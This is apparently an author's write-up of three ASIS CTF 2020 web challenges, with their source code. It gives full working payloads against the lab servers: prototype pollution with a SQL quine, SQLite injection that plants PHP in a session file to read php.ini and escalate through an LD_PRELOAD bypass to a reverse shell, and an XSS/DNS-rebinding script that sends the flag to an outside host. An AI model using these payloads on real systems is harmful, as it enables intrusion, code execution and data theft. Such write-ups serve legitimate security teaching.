메인 컨텐츠로 넘어가기

ASIS CTF 2020 Write up(Author View)

Admin Panel

Description:

{link}
{source.zip}

If you unzip source code, there are files: app.js, router/main.js, package.json.

// app.js
const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');

app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

const server = app.listen(3000, function(){
    console.log("Server started on port 3000")
});

app.use(session({
    secret: 'REDACTED',
    resave: false,
    saveUninitialized: true,
    store: new FileStore({path: __dirname+'/sessions/'})
}));

const router = require('./router/main')(app, db, fs);

Server is using sqlite3 and express(with ejs). And views directory is __dirname+'/views'

And there is a flag at the variable app.locals.flag

// router/main.js
module.exports = function(app, db, fs){
    app.get('/', function(req, res){
        res.render('index.html')
    });

    app.post('/login', function(req, res){
        var user = {};
        var tmp = req.body;
        var row;

        if(typeof tmp.pw !== "undefined"){
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

        for(var key in tmp){
            user[key] = tmp[key];
        }

        if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;

        if(typeof user.pw !== "undefined"){
            row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
            if(typeof row !== "undefined"){
                req.session.isAdmin = (row.pw === user.pw);
            }else{
                req.session.isAdmin = false;
            }
            if(req.session.isAdmin && req.session.user === 'admin'){
                res.statusCode = 302;
                res.setHeader('Location','admin');
                res.end();
            }else{
                res.end("Access Denied!");
            }
        }else{
            res.end("No password given.");
        }
    });

    app.get('/admin', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.query.test !== "undefined"){
                res.render(req.query.test);
            }else{
                res.render("admin.html");
            }
        }else{
            res.end("Access Denied!");
        }
    });

    app.post('/upload', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
                var fname = req.body.name;
                var dir = './views/upload/'+req.session.id;
                var contents = req.body.file;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+fname, contents);
                res.end("Done.");
            }else{
                res.end("Something's wrong");
            }
        }else{
            res.end("Permission Denied!");
        }
    });
}

There are 4 pages like below.

/ - GET
/login - POST
/admin - GET
/upload - GET

In /login, there is filtering with pw and if id is admin, it will be guest.

        if(typeof tmp.pw !== "undefined"){
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

                for(var key in tmp){
            user[key] = tmp[key];
        }

        if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;

Hmm? But It looks like something is strange. There is a mapping variables with post parameters again by for statement. As the page is mapping variables with for, we can make variables what we want. This will be the vulnerability Prototype Pollution.

If we use Prototype Pollution, the filtering with pw and replacement id will be ignored.

        if(typeof user.pw !== "undefined"){
            row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
            if(typeof row !== "undefined"){
                req.session.isAdmin = (row.pw === user.pw);
            }else{
                req.session.isAdmin = false;
            }
            if(req.session.isAdmin && req.session.user === 'admin'){
                res.statusCode = 302;
                res.setHeader('Location','admin');
                res.end();
            }else{
                res.end("Access Denied!");
            }
        }else{
            res.end("No password given.");
        }

After query in sqlite3, the SQL will return pw. The page is comparing the returned pw and the pw I used.

So, we have to know the pw of admin. But If you try sql injection via Prototype Pollution, you will realize that the db is empty.

So we have to use trick for this part. We will use SQL Quine.

SQL Quine will return the SQL what we sent. So, row.pw === user.pw will be bypassed.

The payload will be like below(Tip. you have to set the Content-Type as application/json)

{"__proto__":{"id":"admin","pw":"' union SELECT REPLACE(REPLACE('\" union SELECT REPLACE(REPLACE(\"$\",CHAR(34),CHAR(39)),CHAR(36),\"$\") AS Quine--',CHAR(34),CHAR(39)),CHAR(36),'\" union SELECT REPLACE(REPLACE(\"$\",CHAR(34),CHAR(39)),CHAR(36),\"$\") AS Quine--') AS Quine--"}}

In /admin, we can render via test parameter.

app.get('/admin', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.query.test !== "undefined"){
                res.render(req.query.test);
            }else{
                res.render("admin.html");
            }
        }else{
            res.end("Access Denied!");
        }
    });

and there is /upload with post method.

app.post('/upload', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
                var fname = req.body.name;
                var dir = './views/upload/'+req.session.id;
                var contents = req.body.file;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+fname, contents);
                res.end("Done.");
            }else{
                res.end("Something's wrong");
            }
        }else{
            res.end("Permission Denied!");
        }
    });

In here, we can upload files on views/upload/{session_id}/filename.

So, you can use /upload for rendering your flag on /admin.

With ejs, we can render the flag because flag is declared as app.locals.

And a thing you shold know is you can render only the file extensions like html or ejs.

So, If you upload the filename like exp.ejs and the content like <%=flag%>, you will get flag by rendering this file.

Old School

In this task, session is really important. Please pay attension at session id.

Description:

Is this(link) an old school(source.zip) php task?

Run /flag.

There are some php files in zip.

db.php - we can realize that server is using SQLite3
login.php - There is a SQL Statement with querySingle and filterings
post.php - read url from SQL and include that url. In SQL Statement, There is using int type idx and $_SESSION with no filtering.
upload.php - you can upload file but the filename will be {session_id}_randomstring

And you can download db.db also in server like http://url/db.db.

Now, we can assume that if we can control $_SESSION, we can use this for php file.

So, we need to trigger SQL Injection.

// login.php
<?php
session_start();
include "db.php";

if(!isset($_POST['id']) && !isset($_POST['pw'])){
    exit("Parameter Error!");
}

$_POST['id'] = str_replace("/\"/","\\\"", $_POST['id']);
$_POST['id'] = str_replace("/\\/","\\", $_POST['id']);
$_POST['pw'] = str_replace("/\"/","\\\"", $_POST['pw']);
$_POST['pw'] = str_replace("/\\/","\\", $_POST['pw']);

$sql = "select id from users where id=\"{$_POST['id']}\" and pw=\"{$_POST['pw']}\"";
$res = $db->querySingle($sql);

if(isset($res)){
    $_SESSION['id'] = $res;
}else{
    exit("No such id");
}
Header("Location: ./index.php");
?>

When we use " for SQL Injection, it will replaced like \". But It's not a important. Because this server is using SQLite. In MySQL, If we use \", It will works like escape string. But not in SQLite3.

For Example:

sqlite> select "\";
\

Yeah. It's a letter. That's all.

So, The filtering method in this page is not suitable for SQLite3.

And we can use hex for SQL Injection payload.

Below one is a payload for php.

POST /login.php HTTP/1.1
Host: 10.211.55.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=exp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

id=asd&pw=" union select '<?php phpinfo(); ?>'--

And this one is a payload for including payload for /post.php

>>> "' union select '/var/lib/php/sessions/sess_exp'--".encode('hex')
'2720756e696f6e2073656c65637420272f7661722f6c69622f7068702f73657373696f6e732f736573735f657870272d2d'
POST /login.php HTTP/1.1
Host: 10.211.55.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7l4pd0ffea2163ldigprj0ap37
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

id=asd&pw=" union select x'2720756e696f6e2073656c65637420272f7661722f6c69622f7068702f73657373696f6e732f736573735f657870272d2d'--

After this, if you access to /post.php with any idx and this session, you will see phpinfo(); because of exp session.

phpinfo

and you will realize all the system functions including putenv are disabled

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,exec,putenv,mail,passthru,shell_exec,popen,stream_select,curl_exec,curl_multi_exec,parse_ini_file,show_source,highlight_file,proc_open,imap_mail,error_log,

And you can find custom module in phpinfo like below

phpinfo

Now, we know there is a custom module installed in this server. We have to leak that module.

For this, we need to check php.ini first. I'll use readfile().

POST /login.php HTTP/1.1
Host: 10.211.55.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=exp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

id=asd&pw=" union select '<?php readfile("/etc/php/7.4/apache2/php.ini"); ?>'--

leak

And we can also leak that module with same method.

And the module directory will be /usr/lib/php/20190902/asisctf.so

(Tip. you can check the php version in phpinfo)

After download, that .so file, we have to analze that binary(I used IDA)

In function zif_asisctf, There is three functions

asisctf("ls","") -> system("ls") (c lang)
asisctf("put",argv2) -> putenv(argv2);
asisctf("echo",argv2) -> php_printf(argv2)

In system function in c, It calls getuid locally.

So, we can use LD_PRELOAD bypass technique.

Even there is upload.php. We have to upload .so file and get directory of uploaded files via php class dir.

https://www.php.net/manual/en/function.dir.php

So, final payload will be

POST /login.php HTTP/1.1
Host: 10.211.55.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=exp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

id=asd&pw=" union select '<?php asisctf("put","LD_PRELOAD={uploaded_file_directory}");asisctf("ls",""); ?>'--

After this, you will get reverse shell by visiting post.php

PyCrypto

Description:

{link}
{source.zip}

There is a python file and Dockerfile.

ROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive
ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data

RUN apt update
RUN apt install -y wget
RUN apt-get install -y gnupg2
RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt update
RUN apt install -y google-chrome-stable
RUN apt install -yqq unzip curl
RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip
RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/

RUN apt install -y python python-pip
RUN pip install flask==1.1.2
RUN pip install markdown2==2.3.8
RUN pip install pycrypto
RUN pip install flask_csp
RUN pip install selenium
RUN apt install -y sqlite3 libsqlite3-dev
RUN pip install pysqlite3

RUN apt install -y apache2
RUN apt install -y libapache2-mod-wsgi
RUN a2enmod wsgi

RUN mkdir -p /app
WORKDIR /app
ADD ./web/* ./

RUN mkdir templates
RUN mv ./flag.html ./templates/
RUN mkdir logs
RUN touch ./logs/error.log
RUN touch ./logs/access.log
ADD ./env/000-default.conf /etc/apache2/sites-available/

RUN chmod o+w /app
RUN chown www-data: /app/user.db

EXPOSE 8080

It's using markdown2 verdsion 2.3.8

There was an bug in 2.3.8: https://github.com/trentm/python-markdown2/issues/341

This will occur XSS.

and app.py is here

from Crypto.Cipher import AES
from flask import Flask, request, render_template, session
from flask_csp.csp import csp_header
import sqlite3
from hashlib import sha256
import markdown2
from selenium import webdriver
from socket import gethostbyname
from urlparse import urlparse

IP = "76.74.170.201"
BLOCK_SIZE = 32
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
key = "REDACTED"

assert len(key) == 32, "Key length error"

aes = AES.new(key, AES.MODE_ECB)
app = Flask(__name__)
app.secret_key = "REDACTED"
conn = sqlite3.connect('/app/user.db', check_same_thread=False)
c = conn.cursor()

def xor(msg1, msg2):
    res = ''
    for i in range(BLOCK_SIZE):
        res += chr(ord(msg1[i]) ^ ord(msg2[i]))
    return res

def encrypt(plaintext):
    plaintext = pad(plaintext)
    iv = pad("")
    ciphertext = ""
    for i in range(0, len(plaintext), BLOCK_SIZE):
        iv = xor(aes.encrypt(plaintext[i:i+BLOCK_SIZE]),iv)
        ciphertext += iv
    return ciphertext.encode('hex')

def decrypt(ciphertext):
    # REDACTED
    # res will be the plaintext
    return res

@app.route('/')
def index():
    return "Welcome To my Web + Crypto Task!"

@app.route('/api/login', methods=['POST'])
def login():
    try:
        user = request.form['id']
        pw = sha256(request.form['pw']).hexdigest()
        c.execute("select username from users where username=? and pw=?", (user, pw))
        res = c.fetchone()
        session['mycode'] = encrypt(res[0]+key)
        return 'Done!'
    except:
        return "Error!"

@app.route('/api/logout')
def logout():
    session.pop('mycode')
    return 'done!'

@app.route('/api/register', methods=['POST'])
def register():
    try:
        user = request.form['id']
        pw = sha256(request.form['pw']).hexdigest()
        c.execute("INSERT INTO users(username, pw) VALUES (?,?)",(user, pw))
        conn.commit()
        return 'register done!'
    except:
        return "Error!"

@app.route('/myinfo')
def info():
    if 'mycode' in session:
        return session['mycode']
    else:
        return 'Plz Login'

@app.route('/ticket')
@csp_header({
    "default-src": "'self'",
    "script-src":"'self' 'unsafe-inline'",
    "style-src": "'self'",
    "font-src": "'self'",
    "img-src": "'self'"})
def view_post():
    try:
        enc = request.args.get("msg")
        res_key = request.args.get("key")
        if res_key == key and request.remote_addr != '127.0.0.1':
            res = decrypt(enc)
            return markdown2.markdown(res,safe_mode=True)
        else:
            return "Key or Permission Error!"
    except:
        return "Something is wrong!"

@app.route('/flag')
def flag():
    if request.remote_addr == "127.0.0.1":
        return render_template("flag.html")
    else:
        return 'Only Admin can access!'

@app.route('/submit')
def submit():
    url = request.args.get("url")
    try:
        host = urlparse(url).netloc
        try:
            host = host[:host.index(':')]
        except:
            pass
        if gethostbyname(host) == IP:
            options = webdriver.ChromeOptions()
            options.add_argument('--headless')
            options.add_argument('--no-sandbox')
            options.add_argument('--disable-dev-shm-usage')
            driver = webdriver.Chrome(chrome_options=options, executable_path='/usr/local/bin/chromedriver')
            driver.implicitly_wait(30)
            driver.get(url)
            driver.quit()
            return "Done"
        else:
            return "Nop"
    except:
        return "URL Error"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Server is using 32 length key and encrypt using AES with ECB mode. There is an IV. The encrypted block is xored with IV.

In /login, The username + key is encryped and stored in session. So, you can leak key letter by letter in /myinfo using ECB mode vulnerability.

In /ticket, There is a checking whether the request is from 127.0.0.1. If it is, the request will be ignored. But, In /flag, It has to be 127.0.0.1. So, you have to use DNS Rebinding.

DNS Rebinding, a technique, is changing destination IP using TTL.

For example:

>> host 0fa419df.0ad3370a.rbndr.us
0fa419df.0ad3370a.rbndr.us has address 10.211.55.10
>> host 0fa419df.0ad3370a.rbndr.us
0fa419df.0ad3370a.rbndr.us has address 127.0.0.1

Even If we use DNS Rebinding, we can bypass SOP(a.k.a Same Origin Policy).

So, I write the code like below for getting flag.

<ftp:[<script>while(1){var rawFile=new XMLHttpRequest();var flag;rawFile.open("GET", "/flag", false); rawFile.onreadystatechange=function(){if(rawFile.readyState===4)flag=rawFile.responseText;}
rawFile.send(null);if(flag.includes("ASIS")){break;}}
location.href="http://vuln.live:31338/?="+flag;//]()><ftp:[</script>]()>

But we have to try some times because of DNS Cache

So, Final payload will be like this

http://10.211.55.10:8080/submit?url=http%3A%2F%2F7f000001.0ad3370a.rbndr.us:8080%2Fticket%3Fkey%3DASIS2020_W3bcrypt_ChAlLeNg3%21%40%2523%25%5E%26msg%3Da585365ce057e497ed98e8ac45ed4a936925ad542f5564a35adde556373f8a13e31b8c7ba01fbfaccd04e50bd435c6efcc5a96c72b902c064e068c1a955af72fd318a21d0e1426fce01c1dbef7e67957bf119d17fd15094f7c36325089de533fff1c318424fcf7fc83bf1df67176703134e39cf5b53da97f82d1f26ab2a7c2cbc419bb6b2b62b73ca37c96d7cd86c7245ad50898bc629357307e8d1c700b5897c72006333a4b57c00baace472415a33b451a0877f91f24b0044e0a53ee170f3de489cb958e663fd66b0e40c96da65f63ebc10e8b594ae8dd8d3d48b58ac41cacaa65ae066ad4d763a621fc44ea769afd05772e87290883adb96a297574c74b1f2dfdeb5a176fcea7beb7dd804548e5f4d98e6d04394a1df9e73af350014546926d0c47b7d3fe06a60c95733eb56606d71113ab62c9199fbba5a1b60f0fdd3074a664c9b09a423252598cc6586f866394da7b256580a5ab4ff0b80369d53d5537

After some tries, you will get flag like below.

result

컨텐츠 처음으로 돌아가기